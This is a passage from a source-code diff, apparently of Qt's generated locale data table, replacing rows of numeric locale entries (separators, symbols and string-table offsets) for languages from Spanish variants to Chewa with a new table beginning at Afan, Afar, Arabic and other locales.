10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Ecuador - { 111, 65, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/ElSalvador - { 111, 90, 46, 44, 59, 37, 48, 45, 43, 101, 573,7 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Guatemala - { 111, 96, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 1081,27 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Honduras - { 111, 139, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Mexico - { 111, 155, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Nicaragua - { 111, 166, 46, 44, 59, 37, 48, 45, 43, 101, 202,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Panama - { 111, 168, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Paraguay - { 111, 169, 46, 44, 59, 37, 48, 45, 43, 101, 573,7 , 427,26 , 36,5 , 517,13 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Peru - { 111, 174, 46, 44, 59, 37, 48, 45, 43, 101, 202,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/PuertoRico - { 111, 225, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 427,26 , 18,7 , 25,11 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/UnitedStates - { 111, 227, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Uruguay - { 111, 231, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Venezuela - { 113, 111, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 11020,48 , 11068,84 , 320,12 , 113,7 , 113,7 , 297,14 , 7237,28 , 7265,60 , 113,7 , 2,0 , 2,0 }, // Swahili/Kenya - { 113, 210, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 11020,48 , 11068,84 , 320,12 , 113,7 , 113,7 , 297,14 , 7237,28 , 7265,60 , 113,7 , 2,0 , 2,0 }, // Swahili/Tanzania - { 114, 205, 44, 160, 59, 37, 48, 8722, 43, 101, 99,10 , 1108,22 , 166,5 , 406,15 , 158,12 , 158,12 , 134,24 , 3129,48 , 11152,86 , 320,12 , 113,7 , 113,7 , 1995,14 , 7325,29 , 7354,50 , 113,7 , 197,2 , 187,2 }, // Swedish/Sweden - { 114, 73, 44, 160, 59, 37, 48, 8722, 43, 101, 99,10 , 1108,22 , 166,5 , 406,15 , 158,12 , 158,12 , 134,24 , 3129,48 , 11152,86 , 320,12 , 113,7 , 113,7 , 1995,14 , 7325,29 , 7354,50 , 113,7 , 197,2 , 187,2 }, // Swedish/Finland - { 116, 209, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 11238,48 , 11286,71 , 320,12 , 113,7 , 113,7 , 297,14 , 7404,28 , 7432,55 , 113,7 , 2,0 , 2,0 }, // Tajik/Tajikistan - { 117, 100, 46, 44, 59, 37, 48, 45, 43, 101, 677,6 , 109,16 , 18,7 , 25,11 , 158,12 , 158,12 , 194,27 , 11357,58 , 11415,86 , 320,12 , 113,7 , 113,7 , 297,14 , 7487,20 , 7507,49 , 113,7 , 199,4 , 189,4 }, // Tamil/India - { 118, 178, 44, 160, 59, 37, 48, 45, 43, 101, 1005,10 , 1130,11 , 180,4 , 25,11 , 158,12 , 158,12 , 194,27 , 134,27 , 134,27 , 320,12 , 113,7 , 113,7 , 297,14 , 297,14 , 297,14 , 113,7 , 2,0 , 2,0 }, // Tatar/RussianFederation - { 119, 100, 46, 44, 59, 37, 3174, 45, 43, 101, 565,8 , 109,16 , 18,7 , 25,11 , 158,12 , 158,12 , 2055,30 , 11501,86 , 11501,86 , 320,12 , 113,7 , 113,7 , 7556,18 , 7574,32 , 7606,60 , 113,7 , 203,10 , 193,8 }, // Telugu/India - { 120, 211, 46, 44, 59, 37, 48, 45, 43, 101, 388,8 , 1141,21 , 180,4 , 530,26 , 158,12 , 158,12 , 2085,63 , 11587,63 , 11650,98 , 320,12 , 113,7 , 113,7 , 7666,14 , 7680,23 , 7703,68 , 7771,9 , 213,10 , 201,10 }, // Thai/Thailand - { 122, 67, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 1162,25 , 18,7 , 25,11 , 158,12 , 158,12 , 245,24 , 11748,46 , 11794,54 , 320,12 , 113,7 , 113,7 , 7780,14 , 7794,28 , 7822,29 , 113,7 , 223,7 , 211,7 }, // Tigrinya/Eritrea - { 122, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 1187,25 , 18,7 , 25,11 , 158,12 , 158,12 , 245,24 , 893,46 , 939,62 , 320,12 , 113,7 , 113,7 , 7780,14 , 7851,28 , 7879,29 , 113,7 , 223,7 , 211,7 }, // Tigrinya/Ethiopia - { 123, 214, 46, 44, 59, 37, 48, 45, 43, 101, 1212,10 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 2148,24 , 11848,51 , 11899,87 , 320,12 , 113,7 , 113,7 , 7908,14 , 7922,29 , 7951,60 , 113,7 , 2,0 , 2,0 }, // Tonga/Tonga - { 124, 195, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 11986,48 , 12034,122 , 320,12 , 113,7 , 113,7 , 297,14 , 8011,27 , 8038,72 , 113,7 , 2,0 , 2,0 }, // Tsonga/SouthAfrica - { 125, 217, 44, 46, 59, 37, 48, 45, 43, 101, 1005,10 , 1222,17 , 36,5 , 41,9 , 158,12 , 158,12 , 2172,24 , 12156,48 , 12204,75 , 320,12 , 113,7 , 113,7 , 8110,14 , 8124,28 , 8152,54 , 113,7 , 0,2 , 0,2 }, // Turkish/Turkey - { 128, 44, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 134,27 , 134,27 , 320,12 , 113,7 , 113,7 , 297,14 , 297,14 , 297,14 , 113,7 , 2,0 , 2,0 }, // Uigur/China - { 129, 222, 44, 160, 59, 37, 48, 45, 43, 101, 356,8 , 1239,22 , 36,5 , 41,9 , 2196,48 , 2244,95 , 2339,24 , 12279,67 , 12346,87 , 320,12 , 113,7 , 113,7 , 8206,14 , 8220,21 , 8241,56 , 113,7 , 230,2 , 218,2 }, // Ukrainian/Ukraine - { 130, 100, 46, 44, 59, 37, 48, 45, 43, 1602, 293,6 , 608,18 , 18,7 , 25,11 , 158,12 , 158,12 , 1589,24 , 320,12 , 12433,67 , 320,12 , 113,7 , 113,7 , 297,14 , 113,7 , 8297,36 , 8333,14 , 2,0 , 2,0 }, // Urdu/India - { 130, 163, 46, 44, 59, 37, 48, 45, 43, 1602, 293,6 , 608,18 , 18,7 , 25,11 , 158,12 , 158,12 , 1589,24 , 320,12 , 12433,67 , 320,12 , 113,7 , 113,7 , 297,14 , 113,7 , 8297,36 , 8333,14 , 2,0 , 2,0 }, // Urdu/Pakistan - { 131, 228, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1927,24 , 11238,48 , 12500,115 , 320,12 , 113,7 , 113,7 , 8347,14 , 8361,28 , 8389,53 , 113,7 , 2,0 , 2,0 }, // Uzbek/Uzbekistan - { 131, 1, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1927,24 , 11238,48 , 12500,115 , 320,12 , 113,7 , 113,7 , 8347,14 , 8361,28 , 8389,53 , 113,7 , 2,0 , 2,0 }, // Uzbek/Afghanistan - { 132, 232, 44, 46, 59, 37, 48, 45, 43, 101, 598,10 , 1261,31 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 12615,75 , 12690,130 , 320,12 , 113,7 , 113,7 , 297,14 , 8442,33 , 8475,55 , 113,7 , 232,2 , 220,2 }, // Vietnamese/VietNam - { 134, 224, 46, 44, 59, 37, 48, 45, 43, 101, 598,10 , 133,18 , 18,7 , 25,11 , 2363,25 , 2388,22 , 2410,24 , 12820,62 , 12882,86 , 320,12 , 8530,10 , 113,7 , 8540,14 , 8554,30 , 8584,77 , 113,7 , 2,0 , 2,0 }, // Welsh/UnitedKingdom - { 135, 187, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 134,27 , 134,27 , 320,12 , 113,7 , 113,7 , 297,14 , 297,14 , 297,14 , 113,7 , 2,0 , 2,0 }, // Wolof/Senegal - { 136, 195, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 12968,48 , 13016,91 , 320,12 , 113,7 , 113,7 , 297,14 , 8661,28 , 8689,61 , 113,7 , 2,0 , 2,0 }, // Xhosa/SouthAfrica - { 138, 157, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 13107,73 , 13180,121 , 320,12 , 113,7 , 113,7 , 297,14 , 8750,50 , 8800,80 , 113,7 , 234,5 , 222,5 }, // Yoruba/Nigeria - { 140, 195, 44, 160, 59, 37, 48, 45, 43, 101, 99,10 , 82,17 , 18,7 , 25,11 , 158,12 , 2434,104 , 134,24 , 13301,48 , 13349,90 , 320,12 , 113,7 , 113,7 , 8880,14 , 8894,28 , 8922,68 , 113,7 , 2,0 , 2,0 }, // Zulu/SouthAfrica - { 141, 161, 44, 160, 59, 37, 48, 8722, 43, 101, 356,8 , 634,17 , 166,5 , 406,15 , 158,12 , 158,12 , 134,24 , 3547,48 , 8195,83 , 320,12 , 8990,13 , 113,7 , 1995,14 , 9003,22 , 9025,51 , 113,7 , 137,9 , 127,11 }, // Nynorsk/Norway - { 142, 27, 44, 46, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 13439,48 , 13487,83 , 320,12 , 113,7 , 113,7 , 297,14 , 9076,28 , 9104,58 , 113,7 , 2,0 , 2,0 }, // Bosnian/BosniaAndHerzegowina - { 143, 131, 46, 44, 1548, 37, 1632, 45, 43, 101, 677,6 , 109,16 , 331,8 , 68,12 , 158,12 , 158,12 , 194,27 , 134,27 , 134,27 , 320,12 , 113,7 , 113,7 , 297,14 , 297,14 , 297,14 , 113,7 , 2,0 , 2,0 }, // Divehi/Maldives - { 144, 224, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 82,17 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 13570,102 , 13672,140 , 320,12 , 113,7 , 113,7 , 297,14 , 9162,30 , 9192,57 , 113,7 , 58,4 , 55,4 }, // Manx/UnitedKingdom - { 145, 224, 46, 44, 59, 37, 48, 45, 43, 101, 598,10 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 13812,46 , 13858,124 , 320,12 , 113,7 , 113,7 , 297,14 , 9249,28 , 9277,60 , 113,7 , 58,4 , 55,4 }, // Cornish/UnitedKingdom - { 146, 83, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 13982,48 , 14030,192 , 320,12 , 113,7 , 113,7 , 9337,14 , 9351,28 , 9379,49 , 113,7 , 2,0 , 2,0 }, // Akan/Ghana - { 147, 100, 46, 44, 59, 37, 48, 45, 43, 101, 677,6 , 109,16 , 18,7 , 25,11 , 158,12 , 158,12 , 194,27 , 14222,85 , 7794,87 , 320,12 , 113,7 , 113,7 , 297,14 , 5227,32 , 9428,55 , 113,7 , 132,5 , 122,5 }, // Konkani/India - { 148, 83, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 14307,48 , 14355,94 , 320,12 , 113,7 , 113,7 , 297,14 , 9483,26 , 9509,34 , 113,7 , 2,0 , 2,0 }, // Ga/Ghana - { 149, 157, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 14449,48 , 14497,86 , 320,12 , 113,7 , 113,7 , 297,14 , 9543,29 , 9572,57 , 113,7 , 2,0 , 2,0 }, // Igbo/Nigeria - { 150, 111, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 14583,189 , 14583,189 , 320,12 , 113,7 , 113,7 , 297,14 , 9629,28 , 9657,59 , 113,7 , 2,0 , 2,0 }, // Kamba/Kenya - { 151, 207, 46, 44, 59, 37, 48, 45, 43, 101, 598,10 , 1292,13 , 389,4 , 25,11 , 158,12 , 158,12 , 194,27 , 14772,65 , 14837,65 , 320,12 , 113,7 , 113,7 , 297,14 , 297,14 , 297,14 , 113,7 , 2,0 , 2,0 }, // Syriac/SyrianArabRepublic - { 152, 67, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 1305,24 , 18,7 , 25,11 , 158,12 , 158,12 , 2538,24 , 14902,47 , 14949,77 , 320,12 , 113,7 , 113,7 , 9716,14 , 9730,26 , 9756,43 , 113,7 , 2,0 , 2,0 }, // Blin/Eritrea - { 153, 67, 46, 4808, 59, 37, 48, 45, 43, 101, 27,8 , 1329,25 , 18,7 , 25,11 , 158,12 , 158,12 , 2562,24 , 15026,48 , 15074,49 , 320,12 , 113,7 , 113,7 , 9799,14 , 9813,28 , 9841,29 , 113,7 , 2,0 , 2,0 }, // Geez/Eritrea - { 153, 69, 46, 4808, 59, 37, 48, 45, 43, 101, 27,8 , 1329,25 , 18,7 , 25,11 , 158,12 , 158,12 , 2562,24 , 15026,48 , 15074,49 , 320,12 , 113,7 , 113,7 , 9799,14 , 9813,28 , 9841,29 , 113,7 , 2,0 , 2,0 }, // Geez/Ethiopia - { 154, 53, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 15123,48 , 15171,124 , 320,12 , 113,7 , 113,7 , 297,14 , 9870,28 , 9898,54 , 113,7 , 2,0 , 2,0 }, // Koro/IvoryCoast - { 155, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 53,19 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 9952,14 , 9966,28 , 9994,51 , 113,7 , 2,0 , 2,0 }, // Sidamo/Ethiopia - { 156, 157, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 15295,59 , 15354,129 , 320,12 , 113,7 , 113,7 , 297,14 , 10045,35 , 10080,87 , 113,7 , 2,0 , 2,0 }, // Atsam/Nigeria - { 157, 67, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 1354,23 , 18,7 , 25,11 , 158,12 , 158,12 , 245,24 , 893,46 , 939,62 , 320,12 , 113,7 , 113,7 , 10167,14 , 10181,27 , 10208,41 , 113,7 , 2,0 , 2,0 }, // Tigre/Eritrea - { 158, 157, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 15483,57 , 15540,178 , 320,12 , 113,7 , 113,7 , 297,14 , 10249,28 , 10277,44 , 113,7 , 2,0 , 2,0 }, // Jju/Nigeria - { 159, 106, 46, 44, 59, 37, 48, 45, 43, 101, 573,7 , 1377,27 , 36,5 , 41,9 , 158,12 , 158,12 , 2586,24 , 15718,48 , 15766,77 , 320,12 , 113,7 , 113,7 , 2477,14 , 10321,28 , 10349,50 , 113,7 , 2,0 , 2,0 }, // Friulian/Italy - { 160, 195, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 15843,48 , 15891,111 , 320,12 , 113,7 , 113,7 , 297,14 , 10399,27 , 10426,70 , 113,7 , 2,0 , 2,0 }, // Venda/SouthAfrica - { 161, 83, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 2610,24 , 16002,48 , 16050,87 , 320,12 , 113,7 , 113,7 , 10496,14 , 10510,32 , 10542,44 , 113,7 , 2,0 , 2,0 }, // Ewe/Ghana - { 161, 212, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 2610,24 , 16002,48 , 16050,87 , 320,12 , 113,7 , 113,7 , 10496,14 , 10510,32 , 10542,44 , 113,7 , 2,0 , 2,0 }, // Ewe/Togo - { 163, 225, 46, 44, 59, 37, 48, 45, 43, 101, 293,6 , 10,17 , 18,7 , 25,11 , 158,12 , 158,12 , 194,27 , 16137,59 , 16196,95 , 320,12 , 113,7 , 113,7 , 297,14 , 10586,21 , 10607,57 , 113,7 , 2,0 , 2,0 }, // Hawaiian/UnitedStates - { 164, 157, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 16291,48 , 16339,153 , 320,12 , 113,7 , 113,7 , 297,14 , 10664,28 , 10692,42 , 113,7 , 2,0 , 2,0 }, // Tyap/Nigeria - { 165, 129, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 16492,48 , 16540,91 , 320,12 , 113,7 , 113,7 , 297,14 , 10734,28 , 10762,67 , 113,7 , 2,0 , 2,0 }, // Chewa/Malawi + { 3, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 35,15 , 18,7 , 25,15 , 158,48 , 206,111 , 134,24 , 161,48 , 209,111 , 320,24 , 113,28 , 141,55 , 85,14 , 113,28 , 141,55 , 85,14 , 2,2 , 2,2 }, // Afan/Ethiopia + { 3, 111, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 35,15 , 18,7 , 25,15 , 158,48 , 206,111 , 134,24 , 161,48 , 209,111 , 320,24 , 113,28 , 141,55 , 85,14 , 113,28 , 141,55 , 85,14 , 2,2 , 2,2 }, // Afan/Kenya + { 4, 59, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 50,16 , 18,7 , 25,15 , 317,48 , 365,129 , 494,24 , 344,48 , 392,129 , 521,24 , 196,28 , 224,52 , 276,14 , 196,28 , 224,52 , 276,14 , 0,2 , 0,2 }, // Afar/Djibouti + { 4, 67, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 50,16 , 18,7 , 25,15 , 317,48 , 518,118 , 494,24 , 344,48 , 545,118 , 521,24 , 196,28 , 224,52 , 276,14 , 196,28 , 224,52 , 276,14 , 0,2 , 0,2 }, // Afar/Eritrea + { 4, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 50,16 , 18,7 , 25,15 , 317,48 , 518,118 , 494,24 , 344,48 , 545,118 , 521,24 , 196,28 , 224,52 , 276,14 , 196,28 , 224,52 , 276,14 , 0,2 , 0,2 }, // Afar/Ethiopia + { 5, 195, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 76,14 , 18,7 , 25,15 , 636,48 , 684,92 , 134,24 , 663,48 , 711,92 , 320,24 , 290,21 , 311,58 , 369,14 , 290,21 , 311,58 , 369,14 , 4,3 , 4,3 }, // Afrikaans/SouthAfrica + { 5, 148, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 90,13 , 40,5 , 45,13 , 636,48 , 684,92 , 134,24 , 663,48 , 711,92 , 320,24 , 290,21 , 311,58 , 369,14 , 290,21 , 311,58 , 369,14 , 4,3 , 4,3 }, // Afrikaans/Namibia + { 6, 2, 44, 46, 59, 37, 48, 45, 43, 101, 103,8 , 111,15 , 58,7 , 65,15 , 776,48 , 824,78 , 902,24 , 803,48 , 851,78 , 929,24 , 383,28 , 411,58 , 469,14 , 383,28 , 411,58 , 469,14 , 7,2 , 7,2 }, // Albanian/Albania + { 7, 69, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 926,46 , 972,62 , 1034,24 , 953,46 , 999,62 , 1061,24 , 483,27 , 510,28 , 538,14 , 483,27 , 510,28 , 538,14 , 9,3 , 9,4 }, // Amharic/Ethiopia + { 8, 186, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 552,52 , 604,52 , 656,14 , 552,52 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/SaudiArabia + { 8, 3, 44, 46, 59, 37, 48, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 670,38 , 604,52 , 656,14 , 670,38 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Algeria + { 8, 17, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 670,38 , 604,52 , 656,14 , 670,38 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Bahrain + { 8, 64, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 670,38 , 604,52 , 656,14 , 670,38 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Egypt + { 8, 103, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 670,38 , 604,52 , 656,14 , 670,38 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Iraq + { 8, 109, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1157,92 , 1157,92 , 1133,24 , 1184,92 , 1184,92 , 1160,24 , 552,52 , 604,52 , 656,14 , 552,52 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Jordan + { 8, 115, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 670,38 , 604,52 , 656,14 , 670,38 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Kuwait + { 8, 119, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1249,92 , 1249,92 , 1133,24 , 1276,92 , 1276,92 , 1160,24 , 552,52 , 604,52 , 656,14 , 552,52 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Lebanon + { 8, 122, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 670,38 , 604,52 , 656,14 , 670,38 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/LibyanArabJamahiriya + { 8, 145, 44, 46, 59, 37, 48, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 670,38 , 604,52 , 656,14 , 670,38 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Morocco + { 8, 162, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 670,38 , 604,52 , 656,14 , 670,38 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Oman + { 8, 175, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 552,52 , 604,52 , 656,14 , 552,52 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Qatar + { 8, 201, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 670,38 , 604,52 , 656,14 , 670,38 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Sudan + { 8, 207, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1249,92 , 1249,92 , 1133,24 , 1276,92 , 1276,92 , 1160,24 , 552,52 , 604,52 , 656,14 , 552,52 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/SyrianArabRepublic + { 8, 216, 44, 46, 59, 37, 48, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 552,52 , 604,52 , 656,14 , 552,52 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Tunisia + { 8, 223, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 670,38 , 604,52 , 656,14 , 670,38 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/UnitedArabEmirates + { 8, 237, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 150,10 , 160,15 , 18,7 , 80,15 , 1058,75 , 1058,75 , 1133,24 , 1085,75 , 1085,75 , 1160,24 , 552,52 , 604,52 , 656,14 , 552,52 , 604,52 , 656,14 , 12,1 , 13,1 }, // Arabic/Yemen + { 9, 11, 44, 46, 59, 37, 48, 45, 43, 101, 175,8 , 35,15 , 40,5 , 45,13 , 1341,48 , 1389,94 , 1483,27 , 1368,48 , 1416,94 , 134,27 , 708,28 , 736,62 , 798,14 , 708,28 , 736,62 , 798,14 , 13,3 , 14,3 }, // Armenian/Armenia + { 10, 100, 46, 44, 59, 37, 48, 45, 43, 101, 183,8 , 191,15 , 95,8 , 103,15 , 1510,62 , 1572,88 , 1483,27 , 1510,62 , 1572,88 , 134,27 , 812,37 , 849,58 , 798,14 , 812,37 , 849,58 , 798,14 , 16,9 , 17,7 }, // Assamese/India + { 12, 15, 44, 46, 59, 37, 48, 45, 43, 101, 206,8 , 214,16 , 40,5 , 45,13 , 1660,48 , 1708,77 , 1483,27 , 1660,48 , 1708,77 , 134,27 , 907,26 , 933,67 , 99,14 , 907,26 , 933,67 , 99,14 , 0,2 , 0,2 }, // Azerbaijani/Azerbaijan + { 12, 102, 44, 46, 59, 37, 48, 45, 43, 101, 206,8 , 214,16 , 40,5 , 45,13 , 1660,48 , 1708,77 , 1483,27 , 1660,48 , 1708,77 , 134,27 , 907,26 , 933,67 , 99,14 , 907,26 , 933,67 , 99,14 , 0,2 , 0,2 }, // Azerbaijani/Iran + { 14, 197, 44, 46, 59, 37, 48, 45, 43, 101, 66,10 , 230,28 , 40,5 , 45,13 , 1785,48 , 1833,93 , 1926,24 , 1785,48 , 1833,93 , 1926,24 